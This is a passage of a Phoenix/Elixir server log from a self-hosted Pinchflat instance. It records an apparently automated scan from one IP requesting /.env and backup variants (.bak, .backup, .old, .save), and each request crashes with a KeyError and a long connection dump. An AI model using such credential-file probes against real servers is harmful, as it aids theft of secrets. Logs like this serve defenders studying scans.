(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.120 [info] GET /.env 21:08:38.121 [debug] QUERY OK source="settings" db=0.3ms idle=154.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.122 [debug] QUERY OK source="settings" db=0.3ms idle=59.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.122 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.122 [error] #PID<0.3146.0> running PinchflatWeb.Endpoint (connection #PID<0.3145.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49356}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3146.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZGgSWdQMCcAANUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49356}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49356}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3146.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} (truncated) 21:08:38.134 [info] GET /.env.bak 21:08:38.134 [debug] QUERY OK source="settings" db=0.3ms idle=71.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.135 [debug] QUERY OK source="settings" db=0.2ms idle=22.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.135 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.135 [error] #PID<0.3148.0> running PinchflatWeb.Endpoint (connection #PID<0.3147.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3147.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49362}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3148.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZJwABGyjJ0AANWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3147.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49362}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3147.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49362}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3148.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.196 [info] GET /.env.backup 21:08:38.197 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=83.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.198 [debug] QUERY OK source="settings" db=0.2ms idle=76.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.198 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.198 [error] #PID<0.3150.0> running PinchflatWeb.Endpoint (connection #PID<0.3149.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49370}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3150.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZYqCRWB1KMAANYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49370}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49370}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3150.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:38.202 [info] GET /.env.old 21:08:38.203 [debug] QUERY OK source="settings" db=0.3ms idle=81.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.204 [debug] QUERY OK source="settings" db=0.2ms idle=68.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.204 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.207 [info] GET /.env.save 21:08:38.208 [debug] QUERY OK source="settings" db=0.5ms idle=72.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.208 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.209 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.204 [error] #PID<0.3152.0> running PinchflatWeb.Endpoint (connection #PID<0.3151.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49372}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3152.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZaJnAwH918AABwD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49372}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", 